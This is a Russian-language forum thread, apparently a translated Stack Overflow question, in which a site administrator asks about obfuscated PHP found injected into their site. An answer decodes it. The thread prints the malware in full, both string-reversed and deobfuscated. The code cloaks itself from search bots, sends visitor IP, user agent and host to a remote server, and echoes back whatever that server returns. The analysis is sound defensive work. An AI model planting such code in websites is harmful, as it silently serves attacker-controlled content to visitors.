Сегодня утром обнаружил код, закодированный на нескольких уровнях, прикрепленный к веб-сайту, который я администрирую .htaccess. Код гласит:
function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif@ = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes@ { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));
Ясно, что детали функции написаны в обратном порядке. Похоже, он отправляет информацию журнала на удаленный сервер. Кто-нибудь знаком с этим кодом или что он делает?
2 ответа
Похоже на довольно сильно запутанный код отслеживания статистики, но я более склонен сказать, что это вредоносный. s37
, как уже отмечалось, переворачивает строку:
function s37($s)
{
$e = "";
for ($a = 0; $a <= strlen($s)-1; $a++ )
{
$e .= $s{strlen($s)-$a-1};
}
return($e);
}
Это, в свою очередь, генерирует следующий код:
$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{
}
else
{
@setcookie($z37,md5("stats"),time()+10800);
$url = @file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
if (strstr($url,"!go!"))
{
$url = explode("!go!",$url);
$url = $url[1];
echo $url;
}
}
Соответствие "пользователь-агент" не позволяет ботам поисковых систем запускать код. В противном случае для браузеров устанавливается cookie, затем некоторый код загружается с удаленного сервера и выводится эхом. Трудно определить цель загруженного кода без дополнительной информации.
Функция s37 меняет указанную строку на обратную. функция s37 doe используется только для первой части строки кода ...
Похожие вопросы
Новые вопросы
.htaccess
Файл конфигурации уровня каталогов, используемый веб-серверами Apache. Используйте этот тег, если и только если содержимое .htaccess непосредственно участвует в теме. Мы знаем, что многие люди используют .htaccess, но просить членов сообщества не использовать этот тег, если вы не знаете, что это на вашем вопросе. Также обратите внимание, что тег «Apache» должен сказать о вопросах о _configurguiting_ Apache httpd и их потенциал Offictyness на StackoverFlow